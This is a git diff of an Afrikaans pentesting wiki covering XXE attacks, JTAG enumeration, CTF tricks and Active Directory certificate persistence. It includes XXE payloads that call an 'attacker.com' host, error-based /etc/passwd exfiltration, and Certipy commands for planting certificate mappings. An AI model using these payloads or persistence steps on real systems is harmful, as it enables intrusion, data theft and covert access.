Die **jar** protokol is eksklusief beskikbaar binne **Java-toepassings**. Dit is ontwerp om lêer toegang binne 'n **PKZIP** argief (bv., `.zip`, `.jar`, ens.) te fasiliteer, wat beide plaaslike en afstandslêers dek.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
> [!CAUTION]
> Om toegang te verkry tot lêers binne PKZIP-lêers is **baie nuttig om XXE via stelsels DTD-lêers te misbruik.** Kyk [hierdie afdeling om te leer hoe om stelsels DTD-lêers te misbruik](xxe-xee-xml-external-entity.md#error-based-system-dtd).
> Om toegang te verkry tot lêers binne PKZIP-lêers is **uiters nuttig om XXE via stelsels DTD-lêers te misbruik.** Kyk [hierdie afdeling om te leer hoe om stelsels DTD-lêers te misbruik](xxe-xee-xml-external-entity.md#error-based-system-dtd).
Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-protokol behels verskeie stappe:
1. 'n HTTP-versoek word gemaak om die zip-argief van 'n gespesifiseerde ligging af te laai, soos `https://download.website.com/archive.zip`.
1. 'n HTTP-versoek word gemaak om die zip-argief van 'n gespesifiseerde ligging af te aflaai, soos `https://download.website.com/archive.zip`.
2. Die HTTP-antwoord wat die argief bevat, word tydelik op die stelsel gestoor, tipies in 'n ligging soos `/tmp/...`.
3. Die argief word dan onttrek om toegang tot sy inhoud te verkry.
4. Die spesifieke lêer binne die argief, `file.zip`, word gelees.
5. Na die operasie word enige tydelike lêers wat tydens hierdie proses geskep is, verwyder.
'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperkt oop te hou wanneer die argief lêer bedien word. Gereedskap beskikbaar by [hierdie repo](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (`slow_http_server.py`) en 'n Java-bediener (`slowserver.jar`).
'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperk oop te hou wanneer die argief lêer bedien word. Gereedskap beskikbaar by [hierdie repo](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (`slow_http_server.py`) en 'n Java-bediener (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -322,7 +322,7 @@ Kontrollere [https://portswigger.net/web-security/xxe](https://portswigger.net/w
Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevat lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, mag die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML Externe Entiteit) kwesbaarhede.
'n Voorbeeld van so 'n uitbuiting word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellêers te lees:
```xml
@ -368,7 +368,7 @@ Content-Length: 52
```
### Content-Type: Van JSON na XEE
Om die versoek te verander, kan jy 'n Burp-uitbreiding gebruik genaamd “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
Om die versoek te verander, kan jy 'n Burp-uitbreiding gebruik genaamd “**Content Type Converter**“. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) kan jy hierdie voorbeeld vind:
```xml
Content-Type: application/json;charset=UTF-8
@ -429,7 +429,7 @@ As die web Java gebruik, kan jy die [**jar: protocol**](xxe-xee-xml-external-ent
### HTML Entities
Truk van [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Jy kan 'n **entiteit binne 'n entiteit** skep deur dit met **html entities** te kodifiseer en dit dan aan te roep om 'n **dtd** te **laai**.\
Jy kan 'n **entiteit binne 'n entiteit** skep deur dit met **html entities** te kodeer en dit dan aan te roep om 'n **dtd** te **laai**.\
Let daarop dat die **HTML Entities** wat gebruik word **numeries** moet wees (soos \[in hierdie voorbeeld]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
@ -448,7 +448,7 @@ DTD voorbeeld:
### Base64
**Ontrek** _**index.php**_
**Onttrek** _**index.php**_
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
@ -514,9 +514,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Opgemerk beperking met hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Aangetekende beperking van hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
Foutgebaseerde Data Eksfiltrasie Om hierdie beperking te oorkom, word 'n Foutgebaseerde benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikendlêer insluit:
Error-Based Data Exfiltration Om hierdie beperking te oorkom, word 'n Error-Based benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikendlêer insluit:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -534,7 +534,7 @@ Om die lêer se inhoud in die foutboodskap in te sluit, word die DTD-lêer aange
%foo;
%xxe;
```
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML Externe Entiteit) aanval, wat beide Out of Band en Fout-gebaseerde tegnieke benut om sensitiewe inligting te onttrek.
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.
## RSS - XEE
@ -542,7 +542,7 @@ Geldige XML met RSS-formaat om 'n XXE kwesbaarheid te benut.
### Ping terug
Eenvoudige HTTP-versoek na die aanvallersbediener
Eenvoudige HTTP-versoek na die aanvallers se bediener
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -609,7 +609,7 @@ Gebruik PHP base64-filter
```
## Java XMLDecoder XEE na RCE
XMLDecoder is 'n Java-klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan laat gebruik maak van arbitrêre data in 'n oproep na die metode **readObject**, sal hy onmiddellik kode-uitvoering op die bediener verkry.
XMLDecoder is 'n Java klas wat voorwerpe skep gebaseer op 'n XML boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan kry om arbitrêre data in 'n oproep na die metode **readObject** te gebruik, sal hy onmiddellik kode-uitvoering op die bediener verkry.
### Gebruik van Runtime().exec()
```xml
@ -684,16 +684,16 @@ https://github.com/luisfontes19/xxexploiter
### Python lxml Parameter-Entity XXE (Fout-gebaseerde Lêerontsluiting)
> [!INFO]
> Die Python biblioteek **lxml** gebruik **libxml2** onder die oppervlak. Weergawes voor **lxml 5.4.0 / libxml2 2.13.8** brei steeds *parameter* entiteite uit selfs wanneer `resolve_entities=False`, wat dit bereikbaar maak wanneer die toepassing `load_dtd=True` en/of `resolve_entities=True` inskakel. Dit stel fout-gebaseerde XXE payloads in staat om die inhoud van plaaslike lêers in die parser foutboodskap in te sluit.
> Die Python biblioteek **lxml** gebruik **libxml2** onder die oppervlak. Weergawes voor **lxml 5.4.0 / libxml2 2.13.8** brei steeds *parameter* entiteite uit selfs wanneer `resolve_entities=False`, wat hulle bereikbaar maak wanneer die toepassing `load_dtd=True` en/of `resolve_entities=True` inskakel. Dit stel Fout-gebaseerde XXE payloads in staat om die inhoud van plaaslike lêers in die parser foutboodskap in te sluit.
#### 1. Exploiteer lxml < 5.4.0
1. Identifiseer of skep 'n *plaaslike* DTD op skyf wat 'n **onbeskryfde** parameter entiteit definieer (bv. `%config_hex;`).
2. Stel 'n interne DTD saam wat:
* Die plaaslike DTD laai met `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
* Die onbeskryfde entiteit herdefinieer sodat dit:
- Die teikenlêer lees (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- Die teikend lêer lees (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- 'n Ander parameter entiteit bou wat na 'n **ongeldige pad** verwys wat die `%flag;` waarde bevat en 'n parser fout veroorsaak (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
3. Brei uiteindelik `%local_dtd;` en `%eval;` uit sodat die parser `%error;` teëkom, misluk om `/aaa/<FLAG>` te open en die vlag binne die gegooi uitsondering lek – wat dikwels aan die gebruiker deur die toepassing teruggestuur word.
3. Laastens, brei `%local_dtd;` en `%eval;` uit sodat die parser `%error;` teëkom, misluk om `/aaa/<FLAG>` te open en die vlag binne die gegooi uitsondering lek – wat dikwels aan die gebruiker deur die toepassing teruggestuur word.
```xml
<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
@ -709,10 +709,10 @@ Wanneer die aansoek die uitsondering druk, bevat die antwoord:
Error : failed to load external entity "file:///aaa/FLAG{secret}"
```
> [!TIP]
> As die parser kla oor `%`/`&` karakters binne die interne subset, kodeer dit dubbel (`&#x26;#x25;` ⇒ `%`) om uitbreiding te vertraag.
> As die parser kla oor `%`/`&` karakters binne die interne subset, kodeer hulle dubbel (`&#x26;#x25;` ⇒ `%`) om uitbreiding te vertraag.
#### 2. Om die lxml 5.4.0 verharding te omseil (libxml2 steeds kwesbaar)
`lxml` ≥ 5.4.0 verbied *fout* parameter entiteite soos die een hierbo, maar **libxml2** laat steeds toe dat hulle in 'n *algemene* entiteit ingebed word. Die truuk is om:
`lxml` ≥ 5.4.0 verbied *error* parameter entiteite soos die een hierbo, maar **libxml2** laat steeds toe dat hulle in 'n *algemene* entiteit ingebed word. Die truuk is om:
1. Lees die lêer in 'n parameter entiteit `%file`.
2. Verklaar 'n ander parameter entiteit wat 'n **algemene** entiteit `c` bou waarvan die SYSTEM identifiseerder 'n *nie-bestaande protokol* soos `meow://%file;` gebruik.
3. Plaas `&c;` in die XML liggaam. Wanneer die parser probeer om `meow://…` te dereferensieer, misluk dit en reflekteer die volle URI – insluitend die lêerinhoud – in die foutboodskap.
@ -729,11 +729,11 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
#### Sleutelafleidings
* **Parameter entiteite** word steeds deur libxml2 uitgebrei, selfs wanneer `resolve_entities` XXE moet blokkeer.
* 'n **Ongeldige URI** of **nie-bestaande lêer** is genoeg om beheerde data in die gegooi uitsondering te konkateneer.
* Die tegniek werk **sonder uitgaande konnektiwiteit**, wat dit ideaal maak vir streng uitgangs-gefilterde omgewings.
* Die tegniek werk **sonder buitelandse konnektiwiteit**, wat dit ideaal maak vir streng uitgangs-gefilterde omgewings.
#### Versagtingsriglyne
* Opgradeer na **lxml ≥ 5.4.0** en verseker dat die onderliggende **libxml2** **≥ 2.13.8** is.
* Deaktiveer `load_dtd` en/of `resolve_entities` tensy dit absoluut nodig is.
* Deaktiveer `load_dtd` en/of `resolve_entities` tensy absoluut nodig.
* Vermy om rou parser foute aan die kliënt terug te gee.
### Java DocumentBuilderFactory versterking voorbeeld
@ -765,7 +765,7 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
```
As die toepassing DTD's intern moet ondersteun, hou `disallow-doctype-decl` gedeaktiveer, maar **laat altyd** die twee `external-*-entities` funksies op `false` gestel. Die kombinasie voorkom klassieke lêer-blootstelling payloads (`file:///etc/passwd`) sowel as netwerk-gebaseerde SSRF vektore (`http://169.254.169.254/…`, `jar:` protokol, ens.).
Werklike gevalstudie: **CVE-2025-27136** in die Java S3 emulators *LocalS3* het die kwesbare konstruksie hierbo gebruik. 'n Ongeauthentiseerde aanvaller kon 'n vervaardigde XML-liggaam aan die `CreateBucketConfiguration` eindpunt verskaf en die bediener laat plaaslike lêers (byvoorbeeld `/etc/passwd`) in die HTTP-antwoord inkorporeer.
Werklike gevalstudie: **CVE-2025-27136** in die Java S3 emuleerder *LocalS3* het die kwesbare konstruksie hierbo gebruik. 'n Onauthentieke aanvaller kon 'n vervaardigde XML-liggaam aan die `CreateBucketConfiguration` eindpunt verskaf en die bediener laat plaaslike lêers (byvoorbeeld `/etc/passwd`) in die HTTP-antwoord inkorporeer.
### XXE in JMF/Print Orchestration Services → SSRF
@ -806,8 +806,8 @@ Verwysings vir hierdie vektor is aan die einde van die bladsy gelys.
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
- [Dojo CTF Challenge #42 – Hex Color Palette XXE skrywe](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml fout #2107279 – Parameter-entiteit XXE steeds moontlik](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 – Parameter-entity XXE steeds moontlik](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai – Van Ondersteuningskaartjie na Zero Day (FreeFlow Core XXE/SSRF + Pad Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Veiligheidsgids (argitektuur/poorte)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Veiligheidsbulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)

16
src/todo/hardware-hacking/jtag.md
View File

@ -10,7 +10,7 @@ README.md
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) is 'n hulpmiddel wat jy op 'n Arduino-ondersteunde MCU of (eksperimenteel) 'n Raspberry Pi kan laai om onbekende JTAG pinouts te brute-force en selfs instruksie registers te tel.
- Arduino: koppel digitale pinne D2–D11 aan tot 10 vermoedelike JTAG pads/toetspunte, en Arduino GND aan teiken GND. Voed die teiken apart, tensy jy weet die rail is veilig. Verkies 3.3 V logika (bv. Arduino Due) of gebruik 'n vlakverskuiwer/reeks weerstande wanneer jy 1.8–3.3 V teikens toets.
- Arduino: koppel digitale pinne D2–D11 aan tot 10 vermoedelike JTAG pads/testpunte, en Arduino GND aan teiken GND. Voed die teiken apart, tensy jy weet die rail is veilig. Verkies 3.3 V logika (bv. Arduino Due) of gebruik 'n vlakverskuiwer/reeks weerstande wanneer jy 1.8–3.3 V teikens toets.
- Raspberry Pi: die Pi-bou stel minder bruikbare GPIO's bloot (so skande is stadiger); kyk na die repo vir die huidige pinkaart en beperkings.
Sodra dit geflits is, open die seriële monitor by 115200 baud en stuur `h` vir hulp. Tipiese vloei:
@ -29,7 +29,7 @@ Sodra dit geflits is, open die seriële monitor by 115200 baud en stuur `h` vir
As 'n geldige TAP gevind word, sal jy lyne sien wat begin met `FOUND!` wat ontdekte pinne aandui.
As 'n geldige TAP gevind word, sal jy lyne sien wat met `FOUND!` begin wat ontdekte pinne aandui.
Tips
- Deel altyd grond, en moenie onbekende pinne bo teiken Vtref dryf nie. As jy twyfel, voeg 100–470 Ω reeks weerstande by kandidaat pinne.
@ -38,7 +38,7 @@ Tips
## Veiliger pin jag en hardeware opstelling
- Identifiseer Vtref en GND eers met 'n multimeter. Baie adapters benodig Vtref om I/O spanning in te stel.
- Vlakverskuiwing: verkies bidireksionele vlakverskuiwers wat ontwerp is vir push-pull seine (JTAG lyne is nie open-drain nie). Vermy outo-rigting I2C verskuiwers vir JTAG.
- Vlakverskuiwing: verkies bidireksionele vlakverskuiwers wat ontwerp is vir push-pull seine (JTAG lyne is nie oop-drain nie). Vermy outo-rigting I2C verskuiwers vir JTAG.
- Nuttige adapters: FT2232H/FT232H borde (bv. Tigard), CMSIS-DAP, J-Link, ST-LINK (verkoper-spesifiek), ESP-USB-JTAG (op ESP32-Sx). Koppel ten minste TCK, TMS, TDI, TDO, GND en Vtref; opsioneel TRST en SRST.
## Eerste kontak met OpenOCD (skande en IDCODE)
@ -97,24 +97,24 @@ jtag> instruction EXTEST
jtag> shift ir
jtag> dr <bit pattern for boundary register>
```
U het die toestel BSDL nodig om die grensregister-bietordering te ken. Wees versigtig dat sommige verskaffers grens-scan selle in produksie vergrendel.
U het die toestel BSDL nodig om die grensregister-bitsordening te ken. Wees versigtig dat sommige verskaffers grens-scan selle in produksie vergrendel.
## Moderne teikens en notas
- ESP32‑S3/C3 sluit 'n inheemse USB‑JTAG-brug in; OpenOCD kan direk oor USB kommunikeer sonder 'n eksterne sonde. Baie gerieflik vir triage en dumps.
- RISC‑V debug (v0.13+) word wyd deur OpenOCD ondersteun; verkies SBA vir geheue-toegang wanneer die kern nie veilig gestop kan word nie.
- Baie MCU's implementeer debug-outeentifikasie en lewensiklusstate. As JTAG dood lyk maar die krag korrek is, mag die toestel na 'n geslote toestand gesmelt wees of 'n geverifieerde sonde benodig.
- Baie MCU's implementeer debug-authentisering en lewensiklusstate. As JTAG dood lyk maar die krag korrek is, mag die toestel na 'n geslote toestand gesmelt wees of 'n geverifieerde sonde benodig.
## Verdedigings en versterking (wat om te verwag op werklike toestelle)
- Deaktiveer of vergrendel JTAG/SWD permanent in produksie (bv. STM32 RDP vlak 2, ESP eFuses wat PAD JTAG deaktiveer, NXP/Nordic APPROTECT/DPAP).
- Vereis geverifieerde debug (ARMv8.2‑A ADIv6 Debug Authentication, OEM-beheerde uitdaging-reaksie) terwyl vervaardigings toegang behou word.
- Moet nie maklike toetspads roete nie; begrawe toetsvias, verwyder/populeer weerstande om TAP te isoleer, gebruik connectors met sleuteling of pogo-pin toebehore.
- Vereis geverifieerde debug (ARMv8.2‑A ADIv6 Debug Authentisering, OEM-beheerde uitdaging-reaksie) terwyl vervaardigings toegang behou word.
- Moet nie maklike toets pads roete nie; begrawe toets vias, verwyder/populeer weerstande om TAP te isoleer, gebruik connectors met sleuteling of pogo-pin toebehore.
- Krag-aan debug vergrendeling: sluit die TAP agter vroeë ROM wat veilige opstart afdwing.
## Verwysings
- OpenOCD Gebruikersgids – JTAG Opdragte en konfigurasie. https://openocd.org/doc-release/html/JTAG-Commands.html
- Espressif ESP32‑S3 JTAG-debugging (USB‑JTAG, OpenOCD gebruik). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/
- Espressif ESP32‑S3 JTAG debugging (USB‑JTAG, OpenOCD gebruik). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/
{{#include ../../banners/hacktricks-training.md}}

58
src/todo/misc.md
View File

@ -1,58 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
In 'n ping antwoord TTL:\
127 = Windows\
254 = Cisco\
Die res, 'n paar linux
$1$- md5\
$2$of $2a$ - Blowfish\
$5$- sha256\
$6$- sha512
As jy nie weet wat agter 'n diens is nie, probeer om 'n HTTP GET versoek te maak.
**UDP Skande**\
nc -nv -u -z -w 1 \<IP> 160-16
'n Leë UDP-pakket word na 'n spesifieke poort gestuur. As die UDP-poort oop is, word daar geen antwoord van die teikenmasjien teruggestuur nie. As die UDP-poort gesluit is, moet 'n ICMP-poort onbereikbaar pakket van die teikenmasjien teruggestuur word.\
UDP-poort skandering is dikwels onbetroubaar, aangesien vuurmure en routers ICMP\
pakkette kan laat val. Dit kan lei tot vals positiewe in jou skandering, en jy sal gereeld\
UDP-poort skanderings sien wat alle UDP-poorte oop op 'n gescande masjien toon.\
o Meeste poort skandeerders skandeer nie alle beskikbare poorte nie, en het gewoonlik 'n vooraf ingestelde lys\
van “interessante poorte” wat geskandeer word.
# CTF - Tricks
In **Windows** gebruik **Winzip** om na lêers te soek.\
**Alternatiewe data Strome**: _dir /r | find ":$DATA"_\
```
binwalk --dd=".*" <file> #Extract everything
binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
```
## Crypto
**featherduster**\
**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
**Base32**(5 —>8) —> A…Z, 2…7\
**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
**Uuencode** --> Begin met "_begin \<mode> \<filename>_" en vreemde karakters\
**Xxencoding** --> Begin met "_begin \<mode> \<filename>_" en B64\
\
**Vigenere** (frekwensie analise) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
**Scytale** (offset van karakters) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
**25x25 = QR**
factordb.com\
rsatool
Snow --> Versteek boodskappe met spaties en tabulatoren
# Characters
%E2%80%AE => RTL Karakter (skryf payloads agterstewe)
{{#include ../banners/hacktricks-training.md}}

24
src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md
View File

@ -19,7 +19,7 @@ Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
```
Die krag van 'n sertifikaat lê in sy vermoë om as die gebruiker waarvoor dit behoort, te autentiseer, ongeag wagwoordveranderings, solank die sertifikaat geldig bly.
Die krag van 'n sertifikaat lê in sy vermoë om as die gebruiker waarvoor dit behoort, te autentiseer, ongeag wagwoordveranderinge, solank die sertifikaat geldig bly.
Jy kan PEM na PFX omskakel en dit gebruik om 'n TGT te verkry:
```bash
@ -57,20 +57,20 @@ certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
```
> Operasionele wenk: Hou lewensduur van aanvaller-gehou PFX-lêers dop en hernu vroeg. Hernuwing kan ook veroorsaak dat opgedateerde sertifikate die moderne SID-kaart uitbreidings insluit, wat dit bruikbaar hou onder strenger DC-kaartreëls (sien volgende afdeling).
> Operasionele wenk: Hou lewensduur van aanvaller-gehou PFX-lêers dop en hernu vroeg. Hernuwing kan ook veroorsaak dat opgedateerde sertifikate die moderne SID-kaartuitbreiding insluit, wat dit bruikbaar hou onder strenger DC-kaartreëls (sien volgende afdeling).
## Planting Expliciete Sertifikaat Mappings (altSecurityIdentities) – PERSIST4
## Planting Expliciete Sertifikaat Kaartings (altSecurityIdentities) – PERSIST4
As jy na 'n teikenrekening se `altSecurityIdentities` attribuut kan skryf, kan jy 'n aanvaller-beheerde sertifikaat eksplisiet aan daardie rekening koppel. Dit bly bestaan oor wagwoordveranderings en, wanneer sterk kaartformate gebruik word, bly dit funksioneel onder moderne DC-afdwinging.
Hoëvlak vloei:
1. Verkry of uitgee 'n kliënt-auth sertifikaat wat jy beheer (bv. registreer `User` sjabloon as jouself).
2. Trek 'n sterk identifiseerder uit die sertifikaat (Uittreksel+Serieel, SKI, of SHA1-Publieke Sleutel).
3. Voeg 'n eksplisiete kaart by die slagoffer se `altSecurityIdentities` met behulp van daardie identifiseerder.
4. Verifieer met jou sertifikaat; die DC koppel dit aan die slagoffer via die eksplisiete kaart.
2. Trek 'n sterk identifiseerder uit die sertifikaat (Uitgewer+Serienommer, SKI, of SHA1-Publieke Sleutel).
3. Voeg 'n eksplisiete kaarting by die slagoffer se `altSecurityIdentities` met behulp van daardie identifiseerder.
4. Verifieer met jou sertifikaat; die DC koppel dit aan die slagoffer via die eksplisiete kaarting.
Voorbeeld (PowerShell) met 'n sterk Uittreksel+Serieel kaart:
Voorbeeld (PowerShell) met 'n sterk Uitgewer+Serienommer kaarting:
```powershell
# Example values - reverse the issuer DN and serial as required by AD mapping format
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
@ -84,9 +84,9 @@ Dan autentiseer met jou PFX. Certipy sal 'n TGT direk verkry:
```bash
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
```
Notes
Notas
- Gebruik slegs sterk kaarttipe: X509IssuerSerialNumber, X509SKI, of X509SHA1PublicKey. Swak formate (Subject/Issuer, Subject-only, RFC822 e-pos) is verouderd en kan deur DC-beleid geblokkeer word.
- Die sertifikaatketting moet na 'n wortel bou wat deur die DC vertrou word. Enterprise CAs in NTAuth word tipies vertrou; sommige omgewings vertrou ook openbare CAs.
- Die sertifikaatketting moet bou na 'n wortel wat deur die DC vertrou word. Enterprise CAs in NTAuth word tipies vertrou; sommige omgewings vertrou ook openbare CAs.
Vir meer oor swak eksplisiete kaartings en aanvalspaaie, sien:
@ -94,9 +94,9 @@ Vir meer oor swak eksplisiete kaartings en aanvalspaaie, sien:
domain-escalation.md
{{#endref}}
## Enrollment Agent as Persistence – PERSIST5
## Registrasie Agent as Volharding – PERSIST5
As jy 'n geldige Sertifikaatversoekagent/Enrollment Agent-sertifikaat verkry, kan jy nuwe aanmeldbare sertifikate namens gebruikers op aanvraag mint en die agent PFX aflyn hou as 'n volhardingstoken. Misbruik werkstroom:
As jy 'n geldige Sertifikaatversoek Agent/Registrasie Agent sertifikaat verkry, kan jy nuwe aanmeldbare sertifikate namens gebruikers op aanvraag mint en die agent PFX aflyn hou as 'n volhardingstoken. Misbruik werkstroom:
```bash
# Request an Enrollment Agent cert (requires template rights)
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
@ -116,7 +116,7 @@ Die herroeping van die agentsertifikaat of sjabloon toestemmings is nodig om hie
Microsoft KB5014754 het Sterk Sertifikaat Kaartlegging Handhaving op domeinbeheerders bekendgestel. Sedert 11 Februarie 2025, is DC's standaard op Volle Handhaving, wat swak/onduidelike kaartleggings verwerp. Praktiese implikasies:
- Pre-2022 sertifikate wat die SID kaartlegging uitbreiding ontbreek, mag implisiete kaartlegging misluk wanneer DC's in Volle Handhaving is. Aanvallers kan toegang behou deur sertifikate te hernu via AD CS (om die SID uitbreiding te verkry) of deur 'n sterk eksplisiete kaartlegging in `altSecurityIdentities` te plant (PERSIST4).
- Eksplisiete kaartleggings wat sterk formate gebruik (Uitreiker+Serie, SKI, SHA1-Publieke Sleutel) werk steeds. Swak formate (Uitreiker/Onderwerp, Slegs Onderwerp, RFC822) kan geblokkeer word en moet vermy word vir volharding.
- Eksplisiete kaartleggings wat sterk formate gebruik (Issuer+Serial, SKI, SHA1-PublicKey) werk steeds. Swak formate (Issuer/Subject, Subject-only, RFC822) kan geblokkeer word en moet vermy word vir volharding.
Administrateurs moet monitor en waarsku oor:
- Veranderinge aan `altSecurityIdentities` en die uitreiking/hernuwing van Registrasie Agent en Gebruiker sertifikate.

27
src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md
View File

@ -5,18 +5,18 @@
## Basiese beginsels van Hulpbron-gebaseerde Beperkte Afvaardiging
